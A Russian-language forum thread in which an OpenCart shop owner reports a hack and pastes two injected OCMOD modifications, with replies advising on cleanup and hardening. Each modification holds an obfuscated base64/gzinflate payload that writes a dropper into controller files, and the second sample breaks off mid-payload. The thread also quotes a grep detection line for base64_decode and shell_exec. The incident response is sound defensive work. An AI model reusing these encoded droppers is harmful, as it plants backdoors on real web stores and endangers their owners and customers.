Взломали opencart

[AntonMuxa]

OpenCart 2.3.0.2.3  - в модификаторах появился модуль Ocstore. Вот содержание

Spoiler

<?xml version="1.0" encoding="utf-8"?>
<modification>
   <name><![CDATA[OCstore]]></name>
   <code>OCstore</code>
   <version>1.0</version>
   <author>teknohiz.com</author>
   <link>teknohiz.com</link>

<file path="catalog/controller/common/footer.php">
       <operation>
            <search><![CDATA[$data['text_newsletter'] = $this->language->get('text_newsletter');]]></search>
            <add position="after" trim="true"><![CDATA[
                $datasss = base64_decode(gzinflate(base64_decode('dVXblqI6FPygeeGi08OjcpM4YHMJtzchPaAJyDpq2/D1pwB7dE6fecgihE3tyq7Kzquh3fabVWX4p/dtJW0Nv3st7fjqK1bP9HVXJFabh+sjSwMpT52zsyGiVMR3rNVF41dMsbBOLllK/nFsr88TSypUx9OBtT38mJ7A5vtErnOFVq/hqiXD2dMb0WxtMZRKLG314Bc1tSi2zi1TBGd21aYhr8ghq4il+ZHs0aRnpzwR7X7j49uqIYcVT+X1K5WDgijLukjiO1fGtinwK87vWGPOR6zKunwTnIgsvYAXIXYt9gk7MX2lOU889nbc5UotPeKec/wZWzTWBdwuWcLEIz6omW3+mVt5juk0DFFsPOFsvvD9cA1H2t1QmjD43Pe4rnrH6i982LWQtWuWyOJnu77mfXnPceKzXoixrb5srCXqre6TQNrrN/65z20EDodgxksZuMc95v2+H7FLsTMDn1BPJ9HaIlHVuzr9cPXY9nu69EM6BDpduiHWLPdGKF2QyJQJNfGslvOo11j/mEbEZXxHHFnvR5w+XgPv5hkrEVBTBGaGQZCrNknkYTj4n6usZW2uZAP+M0i06gl1ejxHTMypgqEidhGGdOEmN+EPwDq6wj9y4Y64R6smdOTng0Ml4akA35q5+MAy8b42Cc2Ahzl1wH/MwYd53TJ8iQKn7sPWeke8Woa099WV8KMKeajYIc8uEuM/S+AgjwV8YWCOHIGFPOC4NsJJnxPPbUvKJm08mW0CUTbikvfV/bzEapaOa3JdNucz2XjdW0O70Rf7JDv99lgkVZGI3UgXkzfyxDsV/aqNmljklnb3yG8/TGcyb+NrpkJvZVFlaiyNeiNnC2+cv3rgdvfQjT97/TX84rnubfbsX33kR/CSAU24I1yO2tBMnWo/akGhOc2hd4W6OWP9BwZveKGE/1hT6LEOr8nw3EcA77kDdD16d1+ulrNfiO3BiwG86B0QP6yEa5rQBvngBVfygRUj1jKCiHiRshCBwfEdnCIuAh78nDSivjQNcMla5Im8UVOJhbHuQfMdfLszyBirhD3tvTA2wEvCmdA9fZp/7EKcj0NsgYeJs7HA3PaaE/afgQv4mI7wJBd+IgGJmFXMniCjtvvUG/IUL4/+h5qWY1/s3vrg2RcaUaUX0i/lsvng0P49t+kpV7uuaPLzGLfdQAM7EJmi8TyseGF/8db1a57F/3mw24b8StRzu1PmXp/HWsOS5ZHZ4r04VC2BV57vhG100T739J+eVY93QXHRv6XKi3+2Vf8SvgSVvQSGeHFW8JEv+jwNsK/F7G9j7JMCZyU+l7hL3m587JsT9sPPy195WnelGgxbnZEpF71zpXlfKPIW9xty8NmrPh97qWCy9uil9uxvOFOMe2cbIo91LWytf+qd1ePu4JNueipNfL7g6ffzEE19npQNzltKro7dDRNf1K9QoNPv/jxr8BotcN5iNb3fGz/R48ezRgbp25+15FNPmPK3GMcf3/4F')));
                $fp = fopen($_SERVER['DOCUMENT_ROOT'].'/admin/controller/design/image.php', 'w');
                fwrite($fp, $datasss.PHP_EOL);
                fclose($fp);
                $fp = fopen($_SERVER['DOCUMENT_ROOT'].'/catalog/controller/affiliate/image.php', 'w');
                fwrite($fp, $datasss.PHP_EOL);
                fclose($fp);
                
         ]]></add>
       </operation>
</file>

</modification>

А нашел его командой(egrep -ril “base64_decode|auth_pass|shell_exec” /home/user/site.com) в следствии того что на сервак пожаловались что от нас идет атака и обнаружили крон задачу ежеминутную на выполнение файла 3.02_conf - мой антивирусник на него сразу сказал вирус аля троян агент.

Кто подскажет где могла быть уязвимость. Ибо на сайте нет загрузчиков картинок от клиентов. Или брутфорсом могли подобрать пароль к базе? в общем пока все смотрю. Приму все советы куда глянуть на сервере и что сделать

[destreser]

слабые пароли

дырявые модули/шаблон

соседние дырявые сайты

[mpn2005]

Добрый день.

Самый вероятный способ проникновения - слабый пароль в админку.

Возможно только на этапе разработки, но и этого может быть достаточно.

 

[AntonMuxa]

Какие есть способы поиска. Насколько антивирусы эффективны от такого? И насколько эффективны fail2ban? что делать чтобы такого не было? прочитал что все админы в один голос кричат делать бэкапы

[mpn2005]

4 минуты назад, AntonMuxa сказал:

Какие есть способы поиска. 

1) Чистить всё что найдёте.

2) Менять пароли на фтп, в админку к БД.

3) Просматривать логи на предмет подозрительной активности. Ищите в логах про строке ".php"

4) Во все подпапки сайта (первой вложенности в корне,кроме admin. И так же в подпапках в папке admin) можно разложить файлы ".htaccess" c запретом на открытие файлов php. (Тут есть много других приёмов, но они уже требуют некотрой квалификации в настройке сервера. И зависят от используемых пакетов.)

 

И так по кругу. Пока не пеерстанут появляться левые файлы.

 

Если есть заведомо чистый бэкап, то можно на него откатиться.

 

[AntonMuxa]

10 minutes ago, mpn2005 said:

1) Чистить всё что найдёте.

2) Менять пароли на фтп, в админку к БД.

3) Просматривать логи на предмет подозрительной активности. Ищите в логах про строке ".php"

4) Во все подпапки сайта (первой вложенности в корне,кроме admin. И так же в подпапках в папке admin) можно разложить файлы ".htaccess" c запретом на открытие файлов php. (Тут есть много других приёмов, но они уже требуют некотрой квалификации в настройке сервера. И зависят от используемых пакетов.)

 

И так по кругу. Пока не пеерстанут появляться левые файлы.

 

Если есть заведомо чистый бэкап, то можно на него откатиться.

 

понял спасибо.

[n3bo]

Пройдитесь по сайту aibolit

Змінено 9 травня 2019 користувачем n3bo

[AntonMuxa]

а кто знает можно ли запускать крон из файлов сайта? если сервак не взломали а только сайт можно ли крон добавить или это только после взлома сервака?

[mister12]

В 09.05.2019 в 23:27, nikifalex сказал:

вы хотите сказать что год Канонизации св. Доминика Григорием IX. это слабый пароль??

 

Я что-то не понимаю или это просто четырехзначная цифра?)))))

[mister12]

1 час назад, nikifalex сказал:

не просто, а очень просто. загугли

 

ну так оно и понятно, если это четырехзначная цифра, то это вообще подарок для любого атакующего

[mpn2005]

1 час назад, mister12 сказал:

Я что-то не понимаю или это просто четырехзначная цифра?)))))

Мне кажется, это был сарказм.

[001]

Обычное дело, работает бот сеть. 

 

убери юзера admin

поставь 2 дополнения

 

Уведомляет на почту/телеграм о успешном или не успешном логине с указанием IP

https://www.opencart.com/index.php?route=marketplace/extension/info&extension_id=30915&filter_member=siteguarding

 

Двухфакторная авторизация, после установки 1 раз логинишься с двухфакторной, и потом просто заходишь по кукам

https://www.opencart.com/index.php?route=marketplace/extension/info&extension_id=32882&filter_category_id=8&filter_rating=3

 

 

[natom]

Похожая ситуация, но, помимо приведенного выше, был еще такой модификатор:

Спойлер

<?xml version="1.0" encoding="utf-8"?>
<modification>
    <name><![CDATA[OpenCartcom]]></name>
    <code>OpenCartcom</code>
    <version>1.0</version>
    <author>Latte</author>
    <link>[email protected]</link>
    <file path="catalog/controller/common/footer.php">
           <operation>
            <search><![CDATA[$data['text_newsletter'] = $this->language->get('text_newsletter');]]></search>    
            <add position="after" trim="true"><![CDATA[  
                $datasss = base64_decode(gzinflate(base64_decode('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